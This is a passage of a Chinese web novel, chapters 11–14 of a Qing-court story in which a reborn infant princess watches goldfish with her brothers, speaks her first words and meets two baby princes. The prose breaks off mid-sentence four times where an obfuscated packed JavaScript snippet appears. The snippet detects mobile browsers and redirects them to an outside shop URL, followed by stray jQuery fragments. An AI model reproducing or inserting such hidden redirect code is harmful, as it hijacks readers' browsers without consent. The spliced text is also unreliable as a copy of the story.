难不成他重来一回还能拯救新生命不成。 脸上笑得越发温柔,太子继续道:“不过做哥哥的还不至于贪图妹妹的玩具,抓周那会儿哥哥们都在尚书房读书,这些就当是妹妹满周岁的贺礼了。” 虽然抓周那会儿太子也象征性地添了礼物,但那也不过是身边管事嬷嬷随大流送的,太子一向不过问这些,按康熙的话来说就是管事嬷嬷就是帮太子打理人情往来的,太子年纪小,心思放在尚书房更为得宜。 大阿哥凡事都和太子对着干,听了太子的话直接拿起最近的兔子圆胖玩偶,毫不客气道:“八妹妹要送收下就是了,那么多话做什么。” 雅尔哈:这两人叽里咕噜在说什么?不过声音还挺好听。 见有两人已经挑好了,雅尔哈对着三阿哥和四阿哥啊了两句。 两人对视一眼,三阿哥手快些拿了木鱼小铃铛,留给四阿哥的只剩绸缎绣球了,不过四阿哥也不嫌弃,拿着绣球转了两圈,决定放进自己的藏宝箱里好好收起来。 大家手上都有了东西,雅尔哈心里满意。 她可是讲究礼尚往来的好孩子。 好孩子在暖炕上玩了一会儿布老虎便觉得有些无聊,眼珠子一转,倒着身子爬下暖炕,迈着小短腿去扯四阿哥的衣裳下摆。 今儿是四阿哥生辰,按照大阿哥的说法就应该好好放松放松,出去撒欢,不过四阿哥觉得和妹妹待在一起就是放松,虽然大阿哥觉得和一岁小孩没什么好玩的。 但客随主便,四阿哥不愿意走他们这些做哥哥的也不好强迫,但一直站着也不是个事儿,暖炕又被雅尔哈占看,四阿哥便让小太监将明间的云纹靠背椅搬了进来,几个人围成一团说闲话。 四阿哥余光一直注意着雅尔哈,感受到腰间的力道,四阿哥摸了摸雅尔哈毛绒绒的脑袋,问她:“雅尔哈是想要四哥陪着玩一会儿吗?” 仿佛只要雅尔哈点头,四阿哥下一刻便能从袖子里掏出一本儒家经典,让雅尔哈感受文学的熏陶。 雅尔哈没出声,只是用力扯着四阿哥的衣裳下摆,牵着他往外走,眼睛还不时亮晶晶地回头看他。 走啊,哥哥,出去玩。 11. 雅尔哈 雅尔哈目前能自由活动的范围仅限于后殿内部,其余的,她一走到门槛开始试图翻越就会被奶嬷嬷抱回去,不管她怎么明示暗示都不肯放行。 虽然知道这是为了她好,但雅尔哈早就向往外面的天地了,蠢蠢欲动了这么久,终于在今天给她找到了机会。 眼看着雅尔哈就要再次试图翻越门槛,王嬷嬷连忙上前:“小格格如今年纪小,走路还算不上稳当,殿内有地毯铺着倒是无妨,若是在外面不小心绊着了可不好受。” 四阿哥低头看向使劲拽他衣角的雅尔哈,为她争取,“不妨事,就带着雅尔哈在廊下走一走,不去院里就好了。” 大阿哥也赞同道:“有这么多人在,难道还能让八妹妹摔了不成。” 再说他也不是什么能坐得住的性子,在外面吹风也比在里面和太子相顾无言来得好,他一见到太子那张脸就手痒得很。 因为雅尔哈几乎没有在后殿前的院子里活动过,所以这里还保持着原汁原味的布置,青砖铺就的地面不是很平整,上面还有些五彩斑斓的小石子做装饰,东南角有一颗银杏树,扇形的叶片已经变成了金黄色,风一吹就哗啦哗啦地往下落。 雅尔哈被四阿哥扶着爬上门槛又爬下,中间大阿哥还好心帮了一把,终于让雅尔哈感受到了久违的自由的味道。 “啊啊——”雅尔哈面露希冀,指了指西北角。 那里放着一个五彩描金的荷塘丽景大鱼浅,里面种着的荷叶瞧着已经泛黄枯萎,只有红白相间的金鱼在自由自在地游动着。 雅尔哈早就注意到里面的金鱼了。 每回奶嬷嬷抱着她去正殿请安都要经过西北角的回廊,天气还热着那会儿雅尔哈注意到的是粉粉嫩嫩的荷花,随着天气渐冷荷叶残败,里面缓缓游动的金鱼吸引了雅尔哈的主意力。 红色的,还会动,多稀罕啊! 小孩子就喜欢这样的东西。 四阿哥护着雅尔哈走到了西北角,雅尔哈就这么站在廊下,隔着朱红的木栏杆欣赏不疾不徐在水里游动的金鱼。 隔了一会儿,她站累了,改为蹲着看。 又隔了一会儿,雅尔哈蹲累了,直接坐在了四阿哥深蓝缎的鞋面上,背后靠着四阿哥的小腿,仿佛将四阿哥当成了自带靠背的座椅。 四阿哥也由着她,就这么在雅尔哈身后站着。 三阿哥在和太子低声请教文课上的不懂之处,四阿哥在和雅尔哈共同欣赏金鱼,大阿哥看着庭院里飘洒的银杏叶,觉得自己真是格格不入。 或许是秋天带给人的气氛太过悲凉,大阿哥难得伤春悲秋了一会儿,内心感慨了一番做大哥的不易,并且将太子又骂了一通。 不过这情绪来得快去得也快,悲伤不过三秒大阿哥又斗志满满。 “御花园的千鲤池也有很多金鱼,都是皇阿玛让人精心养着的,”大阿哥蹲在雅尔哈身边,捏了捏她肉嘟嘟的脸颊,又在雅尔哈转头想要咬他时快速缩手,提议道:“不如我们带八妹妹去御花园玩吧?” 这话是说给谁听的不知道,反正不是说给雅尔哈听的。 —— “要去御花园看锦鲤?” 皇贵妃看着眼前四个高矮不一的阿哥,又看了看被大阿哥稳稳当当抱在怀里的雅尔哈,先是愣了一下,后又思索起来。 她倒不是怕雅尔哈会在御花园出什么问题,毕竟有奶嬷嬷和宫女看着呢,几个阿哥身边也跟着不少伺候的人,一群人到御花园浩浩荡荡的,估计也没什么不长眼的会撞上去找不痛快。 她担心的是大阿哥和太子这两个刺头。 自打四阿哥进了尚书房,皇贵妃就对那边的消息关注了许多,再加上皇上偶尔也会对她吐露些心里的烦忧,她可谓是彻底推翻了之前对太子的印象。 什么进退有度,端庄有礼都是虚的,三言两语挑起皇上怒火,言辞犀利让尚书房师傅自愧不如,不动声色将大阿哥玩弄于股掌之中······ 太子的罪行可谓是罄竹难书。 偏偏有时候皇上说起太子的犯罪过程还一脸骄傲自豪的表情,像是向她展示太子有多么优秀似的,小小年纪便天资不凡,不愧是他亲手养大的孩子,与众不同。 康熙对自己养大的孩子有滤镜,皇贵妃可没有,她是真担心太子几句话就忽悠得大阿哥主动跳千鲤池。 “正好本宫闲来无事,便与你们一道去吧,”皇贵妃脸上带着温柔和善的笑容,示意章嬷嬷将雅尔哈从大阿哥手里接过来,“不过外面风大,你们先坐着用些茶水点心,本宫带雅尔哈去换一身衣裳。” 雅尔哈淘气,正殿里放着不少预备给她换的衣服饰品。 章嬷嬷轻车熟路地给雅尔哈套上月白色暗花软缎小夹袄,又在外面裹了件杏色的小毛斗篷防止风灌进去,想着雅尔哈到时候肯定要闹着下地,还给她换了一双绣虎头的软底小缎鞋,把雅尔哈打扮得圆滚滚的。 御花园位于坤宁宫正后方,与承乾宫隔得不算太远, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480696|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因此皇贵妃也没有乘坐轿撵,而是与几个小孩一道慢慢走着。 当然雅尔哈还是由奶嬷嬷抱着的,她身子小,走不了这么长的路。 一行人出了承乾门,过钟粹宫,沿东筒子夹道一路向北,再由琼苑东门侧门入了御花园。 天高气爽,云淡风轻,秋日的御花园也别有一番景致,又恰好皇上南巡主位娘娘不在,好些低位嫔妃便借此机会游园,皇贵妃甚至迎面碰上了带着六阿哥的德妃。 德妃打扮得颇为素净雅致,小两把头,珍珠耳坠,一身月白色暗纹绫绸夹袍,上面的折枝秋菊暗纹倒是与旁边松子菊遥相呼应,衬得人眉目温婉,瞧着便十分贤淑的模样。 倒是六阿哥,已经五岁了还被奶嬷嬷抱在怀里,小脸有些苍白,看起来病恹恹的。 “臣妾请皇贵妃娘娘安,皇贵妃娘娘万福,”德妃恭敬地蹲身行礼。 “起来吧。” 两方各自见了礼,雅尔哈不自觉地啃着手,好奇地看着。 在皇贵妃面前德妃一向都是小心谨慎的模样,此时见了四阿哥也没有过多关注,只是浅笑着与皇贵妃寒暄了两句,然后识趣地又行了一礼,领着永和宫里的人走了。 雅尔哈非常想知道刚才过去的那一伙人是谁,但她还不会说话,更听不懂她们在说什么,只能焦急地蹬了蹬腿。 早知道就认真学说话了,现在吃瓜都吃不明白。 经过雅尔哈这段时间的了解,她似乎是在一个很大的家族里,偶尔能看到很多打扮得亮闪闪的人去母亲那里喝茶聊天,也不知道是她的姑姑婶婶还是父亲的妻妾。 不过母亲的地位倒是挺高的,有很多人见到母亲要先行礼,直到母亲出声了才站起。 顺着这个思路,雅尔哈灵光一闪,有没有可能,今天给她送礼物的比哥哥高的那三个人也不是什么她猜测的哥哥的同窗,而是她的堂兄表哥甚至是一个父亲的哥哥? 毕竟家里好像实在有点实力,有高高的院墙,还有大大的园林,在古代没点实力都造不起。 她家不会是什么王公贵族或者高官豪商吧? 在雅尔哈沉浸式猜测这辈子的身份时,一行人已经到了千鲤池旁边的八角亭,宫女们井然有序地将石凳擦干净铺上软垫,又在石桌上布满了瓜果点心。 雅尔哈回神,见自己来到了一个新环境,立刻闹着要下地。 身份什么的以后总会知晓,但出门的机会不易得,她要好好珍惜,先玩了再说。 12. 雅尔哈 永和宫 德妃回了寝宫便屏退伺候的人,只留了个打她侍寝后便一直伺候着的梦锦。 梦锦知晓自家主子心结在哪里。 这几年,主子陆陆续续也诞下了两子两女,可惜四阿哥生下来尚未满月便被交给了皇贵妃抚养,六阿哥先天不足,即使有宫里各种珍贵药材供着身体也不如其他阿哥健壮,大病小病不断,七格格只活了两个月便夭折,九格格被主子主动送去了寿康宫由太后抚养,平日里也见不着面。 可以说孩子就是德妃心里的痛处。 “四阿哥那孩子瞧着就是一个健康的,”德妃嘴角带着淡淡的微笑,似乎在回忆御花园与四阿哥短暂的见面,“皇贵妃将他养得很好。” 至少比她的六阿哥好很多。 还有大阿哥,太子,三阿哥,甚至被奶嬷嬷抱着的八格格,瞧着都很好。 “是我对不起胤祚,”德妃的微笑化为了苦涩,“做额娘的没给他健康的身体,只能让他整日整日地喝药汁,连跑跳都不能。” 梦锦没有说话,只是静静地听着德妃倾诉。 这些话也就只有趁着皇上不在宫里的时候能说说,还不敢抬高了声音,毕竟宫里从来不缺耳朵。 说实话,德妃如今虽为四妃之一,但她的地位实在算不上稳固。 皇贵妃与贵妃有家世和子嗣,惠妃与荣妃有伺候皇上多年的情分和已经长成的阿哥,宜妃有宠如今又有了九阿哥,只有德妃,论地位比不过前面三位,论子嗣也是个吊车尾。 四阿哥是皇贵妃养子,端看这些年皇上也没有让四阿哥到永和宫见生母便知晓他的态度,四阿哥就是皇贵妃的孩子,只是没有上玉蝶正式更改罢了。 还有六阿哥,生来体弱,皇上虽然让太医院不要吝啬地使用珍贵药材,但本人却很少投注心神在这个儿子身上,就怕哪天走了他受不住。 没有健康的子嗣,没有好的家世,更不在皇上心里占据特殊地位,也由不得德妃不谨言慎行,因为她实在没有底气。 被德妃记挂的四阿哥正在调理哥哥们的矛盾。 因为喂锦鲤的事,大阿哥又与太子单方面吵起来了,皇贵妃见闹得不算大便交给了他们自己解决,四阿哥作为小东道主有些焦头烂额。 他本来就不善言辞,再加上身高比不上大阿哥,只能徒劳地站在太子与大阿哥中间当阻隔,避免大阿哥怒气上头又与太子打起来,这在尚书房已经是常事了。 雅尔哈被奶嬷嬷抱着,锦鲤也不稀罕了,饶有兴致地盯着几个哥哥看,还指挥着奶嬷嬷靠近些让她看得更清楚。 虽然听不懂他们在吵什么,但看着哥哥矮矮一个站在中间焦头烂额,好好笑哦。 这么想着,雅尔哈在大阿哥忍不住握拳时咯咯咯地笑了起来,像小铃铛似的。 大阿哥动作一僵,终于想起这里不是尚书房,旁边还有一个一岁多的八妹妹看着。 他握住拳头到嘴边咳嗽了一声,对着太子放狠话,“这次就先放过你,等下次咱们再一道清算。” 太子不可置否。 就算真的打起来,他还真未必是吃亏的那个。 两人默契地对视一眼,太子伸手勾住三阿哥去一旁的古树下继续探讨文学,四阿哥左看右看,跟上了太子,大阿哥则是一脸严肃地来到了雅尔哈面前,试图迷惑她:“我是和太子闹着玩的,宫里不许打架,你别学。” 都怪太子,他本来是想在弟弟妹妹面前做个好榜样的。 没好戏看了,雅尔哈有些失望,但她抓住了大阿哥话里的重点,口齿伶俐地说出了这辈子的第一个字,“打?” 抱着雅尔哈的奶嬷嬷惊呆了,大阿哥恨不得上去捂住雅尔哈的嘴,连声道:“不打,不打,八妹妹别学这个,快忘掉。” 天呐,要是皇贵妃娘娘和皇阿玛知道八妹妹说的第一个词不是喊额娘也不是喊阿玛,而是打架,那他得被罚抄多少本书啊! 为了补救,大阿哥让奶嬷嬷将雅尔哈放下,他自己则是牵着雅尔哈鬼鬼祟祟地到了一座假山附近。 这里离八角亭有些距离,纵然皇贵妃能看到他在带着雅尔哈玩,也听不清他的声音。 奶嬷嬷不知道大阿哥要做什么,只是忠诚地护在雅尔哈身后。 一直低着头看雅尔哈有些累,大阿哥也不嫌弃,盘腿坐在石子路上,将雅尔哈端端正正地放在跟前,与他面对面。 “八妹妹,你也这么大了,该学会喊阿玛额娘了,”大阿哥一本正经地说道:“来,跟着大哥学,额——娘——” 至于为什么先教雅尔哈喊额娘,大阿哥也是有自己的小巧思在的。 皇阿玛南巡去了,不知道什么时候才回来,正所谓现官不如现管,倒不如教雅尔哈喊额娘,到时候皇贵妃娘娘一高兴不就不追究他的罪过了吗。 大阿哥还记得他刚回宫那会儿,在延禧宫门口喊了一声额娘,额娘可是激动得差点眼泪都下来了,想必皇贵妃娘娘反应也不会差。 他对着雅尔哈喊了好几声额娘,雅尔哈紧紧闭着嘴,一脸不知道大阿哥在说什么的懵懂样。 大阿哥现在可算知道尚书房师傅教他时的感受了。 不能打,不好骂,简直就是毫无办法,甚至她还听不懂他说话,连用好处诱惑都不行。 又教了一小会儿,大阿哥气得捶地,雅尔哈看着他无能狂怒了一会儿,慢悠悠又冒出一个字,“打——” 好吧,她就是性格有些恶劣,看周围人的反应就知道她说的应该不是什么好话,但学语言就是这样啊,不好的话容易先学会,她有什么办法呢。 从斗志昂扬到精疲力竭只需要一个雅尔哈。 大阿哥没招了,眼看着皇贵妃那边派了宫女过来,估计是来寻雅尔哈回去的,大阿哥只能憋出一句:“别把这事告诉皇贵妃娘娘。” 这事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480697|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就说的很灵性,是说雅尔哈从大阿哥那里学去了打,还是大阿哥试图教会雅尔哈喊额娘却被雅尔哈气得跳脚呢? 奶嬷嬷没有帮大阿哥保守秘密,她的主子从始至终都只有皇贵妃娘娘,那才是掌握她生杀大权给她发银子的顶头上司,再说小格格学会了说话这事是瞒不过去的,倒不如一五一十交代了。 听完奶嬷嬷回禀的整个过程,皇贵妃先是莞尔一笑,后又轻轻点了点雅尔哈鼻尖,“你呀,淘气到你大哥身上去了。” 不过雅尔哈会说话了皇贵妃还是打心底松了一口气,不拘第一个字说了什么,总归愿意说话就好,反倒是她还要感谢大阿哥,不然雅尔哈不知道何时才能开口。 雅尔哈趴在皇贵妃身上,眼睛亮晶晶的,突然脆生生喊道:“额娘!” 大阿哥教那么久还是挺有成效,至少雅尔哈这回是真的记住了。 她也知晓这是母亲的意思。 “雅尔哈会喊额娘了!”皇贵妃惊喜得不得了,下意识寻找章嬷嬷的身影,“嬷嬷,你听见了吗,雅尔哈在喊额娘!” 有皇贵妃和雅尔哈在的地方必定有章嬷嬷,她甚至比皇贵妃还激动,瞧着眼眶都泛红了,“奴婢听见了,小格格在喊主子呢!” 她就说小格格是个聪慧的,那些嚼舌根子的只会胡言乱语,还好她把那些人都打发了,不然主子听到了不知道多伤心呢。 不过现在好了,小格格会喊人了,她悬着的心也放下了。 小格格会喊额娘了可谓是承乾宫的大喜事,站在殿内的奶嬷嬷好话不要钱地往外冒,说小格格聪慧,孝顺,贴心,总之尽捡着好话说,连不善言辞的青杏都说了句小格格有福气。 周围人给足了情绪价值,雅尔哈也不小气,又喊了一声额娘,得到皇贵妃止不住的夸赞。 雅尔哈搬着小脚丫,心里美滋滋的,哎呀,她就是这么有魅力,随便说句话都迎接赞赏。 皇贵妃心里高兴,给伺候雅尔哈的奶嬷嬷赏了银子,又想起还有大阿哥的一份功劳,连忙让小厨房又添了几道酸甜口的菜给四位阿哥。 四阿哥生辰得了一日休息,午膳是与皇贵妃和雅尔哈一道用的,皇贵妃还特地让小厨房给他做了一碗长寿面。 其余三位没那个休息一日的待遇,只请到了下午半天的假,皇贵妃便让兄弟几个一道在东偏殿用晚膳,她这个长辈就不参加了,以免他们拘谨。 大阿哥从御花园回到承乾宫后便一直很心虚,生怕皇贵妃娘娘传他过去问责,毕竟在尚书房学了这么久大阿哥还是有些是非观念的,带坏了一岁的小妹妹他可不得心虚一会儿,哪有阿哥格格开口第一个字是打的,传出去不得让人笑话。 不过大阿哥是个心大的,承乾宫的小厨房手艺在宫里也数一数二,还有很多小孩子爱吃的菜,大阿哥埋头吃了一会儿就把八妹妹抛到脑后了,转而和太子争抢起黄地绿龙盘里的最后一只琵琶大虾。 13. 雅尔哈 在康熙南巡回宫前,紫禁城先迎来了一场初雪。 雪是夜里下的,悄无声息,待天蒙蒙亮宫人们推开殿门时,才惊觉整座紫禁城已被一层薄雪裹住。 雅尔哈夜里睡得熟,直到早晨醒时才发觉自己不知道什么时候被裹成了洋葱,她努力动弹了一下。 感觉自己成了搁浅的鱼。 身上的负担实在太重,雅尔哈不得不出声呼唤外援:“嬷嬷,嬷嬷。” 学习语言似乎开口之后便简单许多,这几日雅尔哈已经熟练掌握了几种常用名称,其中喊得最顺口的就是嬷嬷,不拘于具体哪个嬷嬷,反正只要她喊了总会有回应。 “嬷嬷在呢,”王嬷嬷刚与守夜的奶嬷嬷换了岗,这会儿在拨弄炭火,听见雅尔哈的呼喊后连忙放下铜钳,用温水净过手才伸手将雅尔哈从被窝里抱了出来。 里间算不上冷,宫里炭火一般从十一月开始烧,烧到来年二月,内务府刚开始供应炭火,皇贵妃便派人往后殿送了好些无烟无味又耐烧的红罗碳,总之雅尔哈这里是不缺炭火用的。 因为下了雪,王嬷嬷怕雅尔哈受寒,将她裹得格外严实,里三层外三次还不算,最外边还罩了件杏黄缎虎头棉风帽,将雅尔哈的脑袋也护得规规整整。 雅尔哈被风帽遮住了部分视线,想抬手扯一扯。 “嬷嬷!”穿得实在太臃肿了,雅尔哈压根抬不起手,只能继续呼唤外援的帮助。 王嬷嬷这才发现风帽将雅尔哈的小脸遮住了大半,连忙将其往后移了移,系上帽后固定用的缎带,又给雅尔哈套上了棉袜和虎头鞋。 外面的风带着雪后清冽的寒气,钱嬷嬷掀开防风的棉布厚帘子,手上提着裹了青棉袱的膳盒,有些忧心道:“这几日可要好好将小格格看住了,外面天冷,连皇贵妃娘娘起来时都有些不适,可不敢这时候再让小格格出去。” 平日里雅尔哈都是去正殿与皇贵妃一道用膳的,只是昨夜下了雪,皇贵妃晨起后便派人过来走了一遭,说是骤然天寒,皇贵妃有些咳嗽,为免过了病气,这几日小格格都在后殿用膳,想吃什么直接吩咐小厨房就是了。 最主要的是章嬷嬷担心皇贵妃身体,如今正在正殿一步不离地守着,只能她们这些奶嬷嬷拿主意了。 “这棉布帘子虽然厚实,但小格格的力气你我也是见识过的,为了以防万一,还是将门掩上吧。” 王嬷嬷微不可察地叹了口气,认真提议道。 虽说两个奶嬷嬷看不住一个一岁半的孩子说出去都有些离谱,但就王嬷嬷个人的感受而言,小格格是她带过的最不可预测的孩子。 精力无限,行动力极强,但凡稍微分了心神就不知道小格格会出现在哪个地方。 只会爬的那会儿还好,小格格翻不过门槛,在殿内的边边角角找一找总能找到。 可现在小格格的腿脚可有劲儿了,上回若不是宫女恰好瞧见了不知道什么时候到了廊下的雅尔哈,她们都得吃挂落。 但只要是人总会有懈怠的时候,为了自己的小命,王嬷嬷只能出此下策了。 不过这会儿不急,小格格已经饿得喊嬷嬷了,还是先布膳吧。 在雅尔哈的期盼中,钱嬷嬷轻手轻脚打开上层,熬得绵密的米油乳羹,盛在小巧的白瓷碗里,底下锡制夹层还注着热水,摸着依旧烫手。 下层则摆着两碟极细软的辅食,一碟是蒸得入口即化的鱼泥,一碟是碾得细碎的苹果泥,都用小银碗盛着,怕着了凉,连碗底都垫了绒垫。 王嬷嬷抱着雅尔哈在铺了厚褥的春凳上坐定,先伸手试了试羹汤温度,才拿小银勺舀了一点,凑到唇边轻轻吹着。 雅尔哈迫不及待张嘴。 啊—— 吃了心满意足的一餐,雅尔哈活力满满,终于注意到了外面白茫茫的一片。 下雪了? 雅尔哈很惊喜,她上辈子是个南方人,见到雪的次数屈指可数,听说北方的雪很大,能堆雪人,还能滑雪橇,不过她对自己的年龄有数,近距离碰雪是不可能了,她就想出去看看。 在雅尔哈期盼的眼神中,有个小宫女轻手轻脚地膳盒收走,然后钱嬷嬷亲自将门给掩上了。 行吧。 雅尔哈打消偷偷溜出去的想法,叫了两声嬷嬷,让奶嬷嬷将自己抱到次间的暖炕上。 不出去就不出去,她趴在窗前照样能欣赏雪景。 在后殿足不出户地待了好几日,直到雪完全化完,雅尔哈才在一个晴朗的天气里被奶嬷嬷抱着出了门。 承乾宫的地龙烧得火热,一进殿内雅尔哈便被奶嬷嬷脱下了斗篷和小夹袄,只留里面一身藕荷色绸面小棉褂,领口滚着一圈细软的银狐毛,看着越发像个圆滚滚的小团子。 喝了几日药汁,皇贵妃的咳疾好了许多,只是殿内还残留着些药材的清苦味,雅尔哈鼻子动了动,有点想打喷嚏。 皇贵妃斜倚在铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480698|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着猩绒软垫的炕上,身上披了件石青缎灰鼠皮披风,捧着一只铜胎掐丝珐琅的手炉,脸色苍白,眉尖微蹙,有些病美人的模样。 直到见了雅尔哈,皇贵妃眉尖才稍稍疏散开来,让人将雅尔哈抱到暖炕上,挨着她坐。 “这几日在后面可乖?有没有闹嬷嬷?”皇贵妃用指尖轻轻碰了碰雅尔哈肉嘟嘟的小脸。 她一直抱着手炉,因此手也不冷,反倒有些热乎乎的,雅尔哈觉得舒服,将脸整个贴到皇贵妃手上,重复道:“嬷嬷?” 说起嬷嬷雅尔哈就想起这几日拘在后殿里的日子。 虽然也算不上无聊,毕竟太子给她送的十二只泥胎彩塑玩具雅尔哈还挺喜欢,内务府也断断续续又送了一批打磨圆润的木制拼图过来,雅尔哈这几日玩得起劲,但这不妨碍雅尔哈向额娘表达自己的不满。 嬷嬷防她防得太严了,她感觉自己少了很多乐趣。 雅尔哈哼哼唧唧地和皇贵妃告状。 虽然以她的词汇量也说不出个什么,但雅尔哈要的就是个态度,皇贵妃也纵着她,耐心听雅尔哈说完,让宫女上了些几碟精致的蜜饯与蒸点,都是雅尔哈爱吃的。 被美食抚慰了心灵,雅尔哈也不哼唧了,乖乖坐在皇贵妃怀里,与皇贵妃一道听着下面人的回话。 “内务府那边已经备妥了迎驾的各项事宜,昨儿收到快马传报,圣驾已过通州,估摸着明日傍晚就能进紫禁城了。” 在雅尔哈过来前皇贵妃便忙着这事,眼下终于安排妥当,皇贵妃也松懈几分,缓下心神,准备好好陪雅尔哈玩一会儿她带过来的拼图。 一个小宫女低着头,轻声进来禀报:“主子,贵妃娘娘与宜妃娘娘来了。” 皇贵妃按了按眉心,怎么偏偏在这时候过来,但她又不能置之不理,只能淡淡吩咐道:“先让她们在偏殿候着。” 不用猜就知道,这两位是来打探消息的。 皇上的具体行踪只有她知晓,就算是皇上给后宫嫔妃写了信件也会先送到承乾宫,再由她派人送去各宫,想必这两人是听到了什么消息,来问一问口风的。 不过也是,这还是皇上初次南巡,也没有往例作参考,虽然皇上不在她还自在些,但宜妃毕竟怀有身孕,又是宠妃,对皇上可不得在意些。 再说宜妃与贵妃交好,两人一道前来也好,省得她派人多跑一趟。 至于德妃,除了请安她是不会主动踏足承乾宫的。 14. 雅尔哈 雅尔哈坐在皇贵妃怀里不自觉啃手,一双圆溜溜的眼睛好奇地看着坐在她对面的宜妃与贵妃。 当然还是主要在看宜妃。 作为宠妃,宜妃向来打扮得鲜艳明媚,一身簇新的杏红织金海棠旗装,领口袖口滚着一圈水貂毛边,因怀着身孕,腰身略松,明艳中多了一份温婉的气质,好一个国色天香的大美人。 雅尔哈就这么一眼不眨地盯着宜妃看。 宜妃注意到了小小的视线,对着雅尔哈露出一个灿烂的笑容:“想必这就是八格格吧?长得可真好,一看就结实,娘娘真是有福气了。” 有求于人的情况下宜妃不介意说几句好话,她和皇贵妃又没有什么深仇大恨,平日里就算有些摩擦那也是当场就过了,虽然比不得德妃会做人,但宜妃在高位嫔妃里的人缘出乎意料的还不错,是见面能搭几句话的交情。 “这孩子是结实,如今我抱着都有些坠手,”宜妃识趣,皇贵妃也不是不给面子的人,含笑问了几句九十两位阿哥。 在座的三位嫔妃都是有孩子的人,甚至孩子还是同一年出生的,差不了几个月,很有话题聊。 皇贵妃也是第一次和别的嫔妃说的这么畅快。 她是十五年入的宫,入宫便是妃位待遇,当时只有钮祜禄妃,也就是孝昭皇后与她同级,再加上刚入宫那会儿皇贵妃踌躇满志想要当皇后,与钮祜禄妃算得上是竞争对手,两人并无多少往来。 其余嫔妃都还是没名没分的庶妃,皇贵妃那会儿看不上眼。 到了十六年,钮祜禄妃封了皇后,皇贵妃封了贵妃,正是心里不得意的时候,哪有心情搭理别的嫔妃。 后来钮祜禄皇后病逝了,皇贵妃以贵妃的身份暂管宫务,吃了许多亏,也成长了许多,不再小看后宫的嫔妃们,但也对她们没什么好感,一心一意向皇后的位置奋斗。 可以说,入宫这么几年,皇贵妃还真没有交好的嫔妃,平时和她们最大的交流就是说正事,最多正事前礼貌地寒暄几句,至于真正意义上你来我往的闲谈,抱歉,没有。 宜妃说话妙语连珠,贵妃偶尔在旁帮腔,皇贵妃说起雅尔哈也有不少趣事,一时间三人其乐融融。 皇贵妃说的高兴,对宜妃和贵妃发出邀请,“正好皇上不在,午膳就在本宫这里用了如何?试试本宫小厨房的手艺。” 宜妃也是性情中人,觉得皇贵妃不似传闻中的那般高傲,聊得高兴后对皇贵妃生出不少好感,毫不扭捏道:“那行,膳房的菜正好也吃腻了,嫔妾与贵妃姐姐今日就叨扰娘娘了。” 被代表的贵妃弱弱道:“十阿哥那里······” “将九阿哥与十阿哥一道接过来便是了,”皇贵妃表示这都不是问题,拍板道:“正好雅尔哈一个人,多两个玩伴也好。” —— 东次间暖炕上,雅尔哈一脸懵地看着一左一右两个小团子。 九阿哥差不多一岁零两个月的年纪,圆头圆脑,穿着一身宝蓝色缎面小袄,手上还抱着一个雅尔哈同款布老虎,啃得非常起劲,像是丝毫没有察觉自己到了陌生地方。 十阿哥刚满周岁,脸蛋肉嘟嘟的,比九阿哥小两个月却有着和九阿哥同样的体格,一双眼睛滴溜溜地乱转,伸着小手咿咿呀呀地要去够九阿哥手上的布老虎。 雅尔哈充分怀疑布老虎是内务府量产的,每个小孩出生就有的那种。 但是! 为什么她的地盘多了两个只会满地乱爬的幼崽! 两个幼崽已经开始了追逐战,十阿哥想去拿九阿哥手上的布老虎,九阿哥不让,并且开始爬行躲避,十阿哥也跟着爬了起来,只是如今暖炕上只有边缘处放了两只引枕避免小孩不小心磕碰,十阿哥很快就追上了九阿哥。 不过九阿哥很聪明,眼见直来直往不行,于是绕着雅尔哈开始爬行起来,十阿哥依旧跟在他身后。 雅尔哈:感觉自己成了秦王绕柱的那个柱子。 实在看不过眼两个幼崽的蠢样子,雅尔哈直接指着九阿哥手上的布老虎喊了一句,“嬷嬷!” 王嬷嬷堪比雅尔哈肚子里的蛔虫,出去了一趟,又很快拿回来了一只十成新的布老虎。 所以说雅尔哈觉得这布老虎是量产的,一模一样的她一共有五只,只是有一只是她经常抱着玩的,其余四只都好好被奶嬷嬷收了起来。 雅尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480699|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 